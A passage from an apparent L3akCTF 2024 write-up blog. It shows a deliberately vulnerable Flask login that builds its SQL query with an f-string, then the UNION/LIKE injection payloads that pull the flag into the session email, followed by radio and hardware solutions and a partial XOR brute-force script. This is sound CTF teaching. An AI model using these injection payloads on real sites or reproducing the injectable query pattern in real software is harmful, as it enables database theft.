599    <span class="k">if</span> <span class="s">'username'</span> <span class="ow">in</span> <span class="n">session</span><span class="p">:</span>
600        <span class="n">username</span> <span class="o">=</span> <span class="n">session</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span>
601        <span class="n">email</span> <span class="o">=</span> <span class="n">session</span><span class="p">[</span><span class="s">'email'</span><span class="p">]</span>
602        <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'dashboard.html'</span><span class="p">,</span> <span class="n">user</span><span class="o">=</span><span class="n">username</span><span class="p">,</span><span class="n">email</span><span class="o">=</span><span class="n">email</span><span class="p">)</span>
603    <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="n">url_for</span><span class="p">(</span><span class="s">'login'</span><span class="p">))</span>
604
605<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/logout'</span><span class="p">)</span>
606<span class="k">def</span> <span class="nf">logout</span><span class="p">():</span>
607    <span class="n">session</span><span class="p">.</span><span class="n">pop</span><span class="p">(</span><span class="s">'username'</span><span class="p">,</span> <span class="bp">None</span><span class="p">)</span>
608    <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="n">url_for</span><span class="p">(</span><span class="s">'login'</span><span class="p">))</span>
609
610<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
611    <span class="n">app</span><span class="p">.</span><span class="n">run</span><span class="p">()</span>
612
613</code></pre></div></div>
614
615<p>The name of the challenge aims for SQL injection, the relevant parts of the code are (check the code for comments I did):</p>
616
617<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
618<span class="c1"># The flag is on the DB:
619</span><span class="n">FLAG</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">getenv</span><span class="p">(</span><span class="s">'FLAG'</span><span class="p">)</span>
620
621<span class="k">def</span> <span class="nf">init_db</span><span class="p">():</span>
622    <span class="n">conn</span> <span class="o">=</span> <span class="n">sqlite3</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="s">'l3ak.db'</span><span class="p">)</span>
623    <span class="n">cursor</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span>
624    <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">'''
625        CREATE TABLE IF NOT EXISTS users (
626            id INTEGER PRIMARY KEY,
627            username TEXT NOT NULL,
628            email TEXT NOT NULL,
629            password TEXT NOT NULL
630        )
631    '''</span><span class="p">)</span>
632    <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">'''
633        CREATE TABLE IF NOT EXISTS flags (
634            id INTEGER PRIMARY KEY,
635            flag TEXT NOT NULL
636        )
637    '''</span><span class="p">)</span>
638    <span class="n">conn</span><span class="p">.</span><span class="n">commit</span><span class="p">()</span>
639    <span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
640
641<span class="c1">########### SNIP
642</span>
643<span class="c1"># On the registration there is no injection on the username
644</span><span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/register'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">,</span> <span class="s">'POST'</span><span class="p">])</span>
645<span class="k">def</span> <span class="nf">register</span><span class="p">():</span>
646    <span class="k">if</span> <span class="n">request</span><span class="p">.</span><span class="n">method</span> <span class="o">==</span> <span class="s">'POST'</span><span class="p">:</span>
647        <span class="n">username</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span>
648        <span class="n">email</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'email'</span><span class="p">]</span>
649        <span class="n">password</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'password'</span><span class="p">]</span>
650        <span class="n">conn</span> <span class="o">=</span> <span class="n">get_db_connection</span><span class="p">()</span>
651        <span class="n">cursor</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span>
652        <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">'SELECT username FROM users WHERE username = ?'</span><span class="p">,</span> <span class="p">(</span><span class="n">username</span><span class="p">,))</span>
653        <span class="n">existing_user</span> <span class="o">=</span> <span class="n">cursor</span><span class="p">.</span><span class="n">fetchone</span><span class="p">()</span>
654        <span class="k">if</span> <span class="n">existing_user</span><span class="p">:</span>
655            <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'register.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Username already exists'</span><span class="p">)</span>
656        <span class="n">add_user</span><span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">email</span><span class="p">,</span> <span class="n">password</span><span class="p">)</span>
657        <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="n">url_for</span><span class="p">(</span><span class="s">'login'</span><span class="p">))</span>
658    <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'register.html'</span><span class="p">)</span>
659
660<span class="c1">############# SNIP
661</span>
662<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/login'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">,</span> <span class="s">'POST'</span><span class="p">])</span>
663<span class="k">def</span> <span class="nf">login</span><span class="p">():</span>
664    <span class="k">if</span> <span class="n">request</span><span class="p">.</span><span class="n">method</span> <span class="o">==</span> <span class="s">'POST'</span><span class="p">:</span>
665       <span class="k">try</span><span class="p">:</span> 
666        <span class="n">username</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span>
667        <span class="n">password</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'password'</span><span class="p">]</span>
668        <span class="n">conn</span> <span class="o">=</span> <span class="n">get_db_connection</span><span class="p">()</span>
669        <span class="n">cursor</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span>
670        <span class="c1"># Here we have the injection point for SQL
671</span>        <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="sa">f</span><span class="s">'SELECT username,email,password FROM users WHERE username ="</span><span class="si">{</span><span class="n">username</span><span class="si">}</span><span class="s">"'</span><span class="p">)</span>
672        <span class="n">user</span> <span class="o">=</span> <span class="n">cursor</span><span class="p">.</span><span class="n">fetchone</span><span class="p">()</span>
673        <span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
674        <span class="k">if</span> <span class="n">user</span> <span class="ow">and</span> <span class="n">user</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span> <span class="o">==</span> <span class="n">username</span> <span class="ow">and</span> <span class="n">user</span><span class="p">[</span><span class="s">'password'</span><span class="p">]</span> <span class="o">==</span> <span class="n">hash_password</span><span class="p">(</span><span class="n">password</span><span class="p">):</span>
675            <span class="n">session</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span> <span class="o">=</span> <span class="n">user</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span>
676            <span class="c1"># Here, there email is taken from the query to the session
677</span>            <span class="n">session</span><span class="p">[</span><span class="s">'email'</span><span class="p">]</span> <span class="o">=</span> <span class="n">user</span><span class="p">[</span><span class="s">'email'</span><span class="p">]</span>
678            <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="n">url_for</span><span class="p">(</span><span class="s">'dashboard'</span><span class="p">))</span>
679        <span class="k">else</span><span class="p">:</span>
680            <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Invalid username or password'</span><span class="p">)</span>
681       <span class="k">except</span><span class="p">:</span>
682           <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Invalid username or password'</span><span class="p">)</span>
683    <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">)</span>
684
685<span class="c1">############ SNIP
686</span>
687<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/dashboard'</span><span class="p">)</span>
688<span class="k">def</span> <span class="nf">dashboard</span><span class="p">():</span>
689    <span class="k">if</span> <span class="s">'username'</span> <span class="ow">in</span> <span class="n">session</span><span class="p">:</span>
690        <span class="n">username</span> <span class="o">=</span> <span class="n">session</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span>
691        <span class="c1"># The email is taken from the DB, to the session and then rendered to the template
692</span>        <span class="n">email</span> <span class="o">=</span> <span class="n">session</span><span class="p">[</span><span class="s">'email'</span><span class="p">]</span>
693        <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'dashboard.html'</span><span class="p">,</span> <span class="n">user</span><span class="o">=</span><span class="n">username</span><span class="p">,</span><span class="n">email</span><span class="o">=</span><span class="n">email</span><span class="p">)</span>
694    <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="n">url_for</span><span class="p">(</span><span class="s">'login'</span><span class="p">))</span>
695</code></pre></div></div>
696
697<p>On the username we can go for a blind boolean injection, but no brute-force is allowed. The idea as spoiled in the code, is to make a <a href="https://portswigger.net/web-security/sql-injection/union-attacks">union SQL injection</a> and return the <strong>flag</strong> on the query on the <strong>email</strong> position so it gets loaded into the session and rendered in the HTML. The issue is the following check after the injection. The code checks if username from the POST request payload is equal to the username taken from the DB, and that is not possible with only one payload (if I think it twice, I believe it’s possible with the wildcards). Let’s break it down:</p>
698
699<p>Imagine we have the following payload:</p>
700
701<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">username</span><span class="o">=</span>wee<span class="s2">"+union+select+"</span>wee<span class="s2">",flag,"</span>wee<span class="s2">"+from+flags--&amp;password=wee         
702</span></code></pre></div></div>
703<p>The username from the POST will be:
704<em>**_wee”+union+select+”wee”,flag,”wee”+from+flags–</em></p>
705
706<p>The username from the SQL Query with the injection is:
707<em>wee</em></p>
708
709<p>That is not equal, but if we try to rebuild the username in the DB, we get into an infinite loop, since we have to insert the payload within the payload, i.e. P != P+P. So the solution is to use the wildcard on the DB, using for example <em>LIKE “wee%”</em>. We use INNER JOIN to take the <strong>username</strong> and the <strong>password</strong> from <strong>users</strong> table and the <strong>flag</strong> from the <strong>flags</strong> table:</p>
710
711<p>We send the following payload on register. We have to use the hash of the dummy password “ttt” since the code does not work as expected, I suppose:</p>
712
713<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">#</span> <span class="n">Register</span>
714<span class="o">##</span> <span class="n">Payload</span>
715<span class="n">username</span><span class="o">=</span><span class="n">ittt</span><span class="nv">"+union+select+username,flag,"</span><span class="mi">9990775155</span><span class="n">c3518a0d7917f7780b24aa</span><span class="nv">"+from+users+inner+join+flags+on+username+like+"</span><span class="n">ittt</span><span class="o">%</span><span class="nv">"--&amp;email=wee%40wee.com&amp;password=ttt
716</span></code></pre></div></div>
717
718<p>And on the login endpoint we send the following payload:</p>
719
720<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">#</span> <span class="n">Login</span>
721<span class="o">##</span> <span class="n">Target</span> <span class="n">query</span>
722<span class="k">SELECT</span> <span class="n">username</span><span class="p">,</span><span class="n">email</span><span class="p">,</span><span class="n">password</span> <span class="k">FROM</span> <span class="n">users</span> <span class="k">WHERE</span> <span class="n">username</span> <span class="o">=</span><span class="nv">"ittt"</span> <span class="k">UNION</span> 
723  <span class="k">SELECT</span> <span class="n">username</span><span class="p">,</span><span class="n">flag</span><span class="p">,</span><span class="nv">"9990775155c3518a0d7917f7780b24aa"</span> <span class="k">FROM</span> <span class="n">USERS</span> 
724  <span class="k">INNER</span> <span class="k">JOIN</span> <span class="n">flags</span> <span class="k">on</span> <span class="n">USERNAME</span> <span class="k">LIKE</span> <span class="nv">"ittt%"</span>
725<span class="o">##</span> <span class="n">Payload</span>
726<span class="n">username</span><span class="o">=</span><span class="n">ittt</span><span class="nv">"+union+select+username,flag,"</span><span class="mi">9990775155</span><span class="n">c3518a0d7917f7780b24aa</span><span class="nv">"+from+users+inner+join+flags+on+username+like+"</span><span class="n">ittt</span><span class="o">%</span><span class="nv">"--&amp;password=ttt
727</span></code></pre></div></div>
728<p>Register the auxiliary username. The user is stored as it is since it is a query statement and quotes are escaped:</p>
729
730<p align="center">
731  <img src="/images/writeups/L3akCTF2024/2_3_register.png" width="70%" />
732</p>
733
734<p>Make the login with the username injection and retrieve the flag in the email field on the session:</p>
735
736<p align="center">
737  <img src="/images/writeups/L3akCTF2024/2_4_redirect.png" width="70%" />
738</p>
739
740<p>Once logged in, the flag is in the email:</p>
741
742<p align="center">
743  <img src="/images/writeups/L3akCTF2024/2_5_flag.png" width="70%" />
744</p>
745
746<p>Maybe, I overcomplicated the challenge, but yeah, that’s me!</p>
747
748<p><code class="language-plaintext highlighter-rouge">L3ak{__V3RY_B4S1C_SQLI}</code></p>
749
750<p><br /></p>
751
752<hr />
753
754<p><br /></p>
755
756<h1 id="hardware-1">Hardware</h1>
757
758<h2 id="layout---90-solves">Layout - [90 solves]</h2>
759<p>477
760baby hardware
761I was drawing some metal layers for my integrated circuit layout, when I noticed some of them looked a little weird…</p>
762
763<p><em>Author: Suvoni</em></p>
764
765<p>We have a layout.GDS so I used a <a href="https://layouteditor.com/">Layout Editor</a> to load the file and we have the flag inside:</p>
766
767<p align="center">
768  <img src="/images/writeups/L3akCTF2024/hw_1.png" width="70%" />
769</p>
770
771<p><code class="language-plaintext highlighter-rouge">L3AK{w3LcoM3_To_HArDw4R3!}</code></p>
772
773<p><br /></p>
774
775<h2 id="celestial---28-solves">Celestial - [28 solves]</h2>
776<p>496
777radio
778We’ve received this file over the cosmic network at our headquarters. No idea what they tried to tell us, c
778an you help ?</p>
779
780<p><em>Author: 0x157</em></p>
781
782<p>We have the following audio file:</p>
783
784<div align="center">
785  <audio controls="">
786    <source src="/images/writeups/L3akCTF2024/attachment.wav" type="audio/wav" />
787  Your browser does not support the audio element.
788  </audio>
789</div>
790
791<p>From experience, this sounds like <a href="https://en.wikipedia.org/wiki/Slow-scan_television">SSTV</a>. If you don’t know what is it, check it out because it is outstanding old technology.</p>
792
793<p>I used <a href="https://www.qsl.net/on6mu/rxsstv.htm">RX-SSTV</a> and since I’m lazy, I placed the microphone next to the speaker and render the image:</p>
794
795<p align="center">
796  <img src="/images/writeups/L3akCTF2024/hw_2.png" width="60%" />
797</p>
798
799<p><code class="language-plaintext highlighter-rouge">L3AK{SsTV_k1nd4_c00l!}</code></p>
800
801<h2 id="communication-gateway---9-solves">Communication Gateway - [9 solves]</h2>
802<p>498
803radio
804Something is in-front of you, and you don’t even know it.</p>
805
806<p><em>Author: 0x157</em></p>
807
808<p>We have the following attachment audio file:</p>
809
810<div align="center">
811  <audio controls="">
812    <source src="/images/writeups/L3akCTF2024/file10.wav" type="audio/wav" />
813  Your browser does not support the audio element.
814  </audio>
815</div>
816
817<p>Again from experience, the sound is modem tones. We can use <a href="http://www.whence.com/minimodem/">minimodem</a> to decode it, but we need to set the baudmode. I took a guess over the filename and it worked, I tried Bell-like with 10_N baudmode:</p>
818
819<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>minimodem <span class="nt">-h</span>                
820minimodem: invalid option <span class="nt">--</span> <span class="s1">'h'</span>
821usage: minimodem <span class="o">[</span><span class="nt">--tx</span>|--rx] <span class="o">[</span>options] <span class="o">{</span>baudmode<span class="o">}</span>
822                    <span class="nt">-t</span>, <span class="nt">--tx</span>, <span class="nt">--transmit</span>, <span class="nt">--write</span>
823                    <span class="nt">-r</span>, <span class="nt">--rx</span>, <span class="nt">--receive</span>,  <span class="nt">--read</span>     <span class="o">(</span>default<span class="o">)</span>
824                <span class="o">[</span>options]
825
826            <span class="o">{</span>baudmode<span class="o">}</span>
827        any_number_N       Bell-like      N bps <span class="nt">--ascii</span>
828                1200       Bell202     1200 bps <span class="nt">--ascii</span>
829                 300       Bell103      300 bps <span class="nt">--ascii</span>
830                rtty       RTTY       45.45 bps <span class="nt">--baudot</span> <span class="nt">--stopbits</span><span class="o">=</span>1.5
831                 tdd       TTY/TDD    45.45 bps <span class="nt">--baudot</span> <span class="nt">--stopbits</span><span class="o">=</span>2.0
832                same       NOAA SAME 520.83 bps <span class="nt">--sync-byte</span><span class="o">=</span>0xAB ...
833            callerid       Bell202 CID 1200 bps
834 uic<span class="o">{</span><span class="nt">-train</span>,-ground<span class="o">}</span>       UIC-751-3 Train/Ground 600 bps
835
836<span class="c"># Solution</span>
837
838minimodem <span class="nt">-f</span> file10.wav 10_N  
839<span class="c">### CARRIER 10.00 @ 1590.0 Hz ###</span>
840L3AK<span class="o">{</span>s1gn4ls_0f_h0p3<span class="o">}</span>
841
842<span class="c">### NOCARRIER ndata=22 confidence=33.694 ampl=0.636 bps=10.00 (rate perfect) ###</span>
843</code></pre></div></div>
844
845<p><code class="language-plaintext highlighter-rouge">L3AK{s1gn4ls_0f_h0p3}</code></p>
846
847<p><br /></p>
848
849<h2 id="exorbitant---12-solves">eXORbitant - [12 solves]</h2>
850<p>495
851hardware
852What is this circuit doing to the flag?</p>
853
854<p><em>Author: Suvoni</em></p>
855
856<p>We have the following XOR circuit provided in the attachment ZIP file. We can open the file with <a href="http://www.cburch.com/logisim/">Logisim</a>:</p>
857
858<p align="center">
859  <img src="/images/writeups/L3akCTF2024/hw_33.png" width="70%" />
860</p>
861
862<p>On the challenge attachments, we can see the RAM output from the circuit:</p>
863
864<p align="center">
865  <img src="/images/writeups/L3akCTF2024/hw_333.png" width="70%" />
866</p>
867
868<p>I created the following bruteforce script, following the XOR gates schema and setting the input lanes on the different gates. The idea is to bruteforce the input so we get the RAM output:</p>
869
870<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">
870import</span> <span class="nn">time</span>
871<span class="kn">import</span> <span class="nn">itertools</span>
872<span class="kn">from</span> <span class="nn">tqdm</span> <span class="kn">import</span> <span class="n">tqdm</span>
873
874<span class="c1"># Create the bruteforce inputs, 16 bit length 0000000000000000 - 1111111111111111
875</span><span class="n">ls</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">itertools</span><span class="p">.</span><span class="n">product</span><span class="p">([</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span> <span class="n">repeat</span><span class="o">=</span><span class="mi">16</span><span class="p">))</span>
876<span class="n">lst</span> <span class="o">=</span> <span class="p">[]</span>
877<span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="n">ls</span><span class="p">:</span>
878  <span class="n">lst</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="nb">str</span><span class="p">,</span> <span class="n">l</span><span class="p">)))</span>
879
880<span class="c1"># Gates inputs. Ie. gate 5 has inputs: 11,10,7,2
881</span><span class="n">gates</span> <span class="o">=</span> <span class="p">{</span>
882  <span class="s">"15"</span><span class="p">:</span> <span class="p">[</span><span class="mi">15</span><span class="p">,</span><span class="mi">13</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">1</span><span class="p">],</span>
883  <span class="s">"14"</span><span class="p">:</span> <span class="p">[</span><span class="mi">15</span><span class="p">,</span><span class="mi">14</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">1</span><span class="p">],</span>
884  <span class="s">"13"</span><span class="p">:</span> <span class="p">[</span><span class="mi">14</span><span class="p">,</span><span class="mi">13</span><span class="p">,</span><span class="mi">12</span><span class="p">,</span><span class="mi">11</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">1</span><span class="p">],</span>
885  <span class="s">"12"</span><span class="p">:</span> <span class="p">[</span><span class="mi">15</span><span class="p">,</span><span class="mi">14</span><span class="p">,</span><span class="mi">13</span><span class="p">,</span><span class="mi">12</span><span class="p">,</span><span class="mi">11</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">3</span><span class="p">],</span>
886  <span class="s">"11"</span><span class="p">:</span> <span class="p">[</span><span class="mi">12</span><span class="p">,</span><span class="mi">11</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">1</span><span class="p">],</span>
887  <span class="s">"10"</span><span class="p">:</span> <span class="p">[</span><span class="mi">15</span><span class="p">,</span><span class="mi">11</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">0</span><span class="p">],</span>
888  <span class="s">
888"9"</span><span class="p">:</span> <span class="p">[</span><span class="mi">14</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">],</span>
889  <span class="s">"8"</span><span class="p">:</span> <span class="p">[</span><span class="mi">11</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">],</span>
890  <span class="s">"7"</span><span class="p">:</span> <span class="p">[</span><span class="mi">15</span><span class="p">,</span><span class="mi">14</span><span class="p">,</span><span class="mi">12</span><span class="p">,</span><span class="mi">11</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">],</span>
891  <span class="s">"6"</span><span class="p">:</span> <span class="p">[</span><span class="mi">15</span><span class="p">,</span><span class="mi">13</span><span class="p">,</span><span class="mi">12</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">],</span>
892  <span class="s">"5"</span><span class="p">:</span> <span class="p">[</span><span class="mi">11</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">2</span><span class="p">],</span>
893  <span class="s">"4"</span><span class="p">:</span> <span class="p">[</span><span class="mi">14</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">3</span><span class="p">],</span>
894  <span class="s">"3"</span><span class="p">:</span> <span class="p">[</span><span class="mi">15</span><span class="p">,</span><span class="mi">14</span><span class="p">,</span><span class="mi">13</span><span class="p">,</span><span class="mi">12</span><span class="p">,</span><span class="mi">11</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">0</span><span class="p">],</span>
895  <span class="s">"2"</span><span class="p">:</span> <span class="p">[</span><span class="mi">15</span><span class="p">,</span><span class="mi">13</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">],</span>
896  <span class="s">"1"</span><span class="p">:</span> <span class="p">[</span><span class="mi">15</span><span class="p">,</span><span class="mi">14</span><span class="p">,</span><span class="mi">11</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">],</span>
897  <span class="s">"0"</span><span class="p">:</span> <span class="p">[</span><span class="mi">14</span><span class="p">,</span><span class="mi">13</span><span class="p">,</span><span class="mi">12</span><span class="p">,</span><span class="mi">11</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">2</span><span class="p">]</span>
898<span class="p">}</span>
899
900<span class="n">gate_status</span> <span class="o">=</span> <span class="p">{}</span>
901
902<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">16</span><span class="p">):</span>
903  <span class="n">gate_status</span><span class="p">[</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)]</span> <span class="o">=</span> <span class="mi">0</span>
904
905<span class="c1"># The challenge provide us with the following cypher codes:
906</span><span class="n">cipher</span> <span class="o">=</span> <span class="p">[</span><span class="s">"8094"</span><span class="p">,</span><span class="s">"6514"</span><span class="p">,</span><span class="s">"e9f3"</span><span class="p">,</span><span class="s">"cc9b"</span><span class="p">,</span><span class="s">"a618"</span><span class="p">,</span><span class="s">"f075"</span><span class="p">,</span><span class="s">"eae8"</span><span class="p">,</span><span class="s">
906"30db"</span><span class="p">,</span><span class="s">"899f"</span><span class="p">,</span><span class="s">"6c8d"</span><span class="p">,</span><span class="s">"4bf2"</span><span class="p">,</span><span class="s">"34eb"</span><span class="p">,</span><span class="s">"30db"</span><span class="p">,</span><span class="s">"b53a"</span><span class="p">,</span><span class="s">"c777"</span><span class="p">,</span><span class="s">"0d65"</span><span class="p">]</span>
907<span class="n">finals</span> <span class="o">=</span> <span class="p">[]</span>
908
909<span class="c1"># Method to test if the if the input generates the cipher_bin
910</span><span class="k">def</span> <span class="nf">test_gates</span><span class="p">(</span><span class="n">trying</span><span class="p">,</span> <span class="n">cipher_bin</span><span class="p">):</span>
911
912  <span class="k">for</span> <span class="n">g</span> <span class="ow">in</span> <span class="n">gates</span><span class="p">:</span>
913    <span class="n">pos</span> <span class="o">=</span> <span class="mi">15</span>
914    <span class="n">gate</span> <span class="o">=</span> <span class="mi">0</span>
915    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">trying</span><span class="p">:</span>
916      <span class="k">if</span> <span class="nb">int</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span> <span class="ow">and</span> <span class="n">pos</span> <span class="ow">in</span> <span class="n">gates</span><span class="p">[</span><span class="n">g</span><span class="p">]:</span>
917        <span class="n">gate</span><span class="o">+=</span><span class="mi">1</span>
918      <span class="n">pos</span><span class="o">-=</span><span class="mi">1</span>
919
920    <span class="k">if</span> <span class="n">gate</span> <span class="o">%</span> <span class="mi">2</span><span class="p">:</span>
921      <span class="n">gate_status</span><span class="p">[</span><span class="n">g</span><span class="p">]</span> <span class="o">=</span> <span class="mi">1</span>
922    <span class="k">else</span><span class="p">:</span>
923      <span class="n">gate_status</span><span class="p">[</span><span class="n">g</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span>
924
925
926    <span class="k">if</span> <span class="nb">str</span><span class="p">(</span><span class="n">cipher_bin</span><span class="p">[</span><span class="mi">15</span><span class="o">-</span><span class="nb">int</span><span class="p">(</span><span class="n">g</span><span class="p">)])</span> <span class="o">!=</span> <span class="nb">str</span><span class="p">(</span><span class="n">gate_status</span><span class="p">[</span><span class="n">g</span><span class="p">]):</span>
927      <span class="k">return</span> <span class="bp">False</span>
928
929  <span class="k">return</span> <span class="bp">True</span>
930
931<span class="n">h</span> <span class="o">=</span> <span class="s">""</span>
932<span class="c1"># Go for each input and bruteforce it
933</span><span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">cipher</span><span class="p">:</span>
934  <span class="n">cipher_bin</span> <span class="o">=</span> <span class="nb">bin</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="mi">16</span><span class="p">
934))[</span><span class="mi">2</span><span class="p">:].</span><span class="n">zfill</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
935
936  <span class="c1"># Try all inputs
937</span>  <span class="k">for</span> <span class="n">trying</span> <span class="ow">in</span> <span class="n">lst</span><span class="p">:</span>
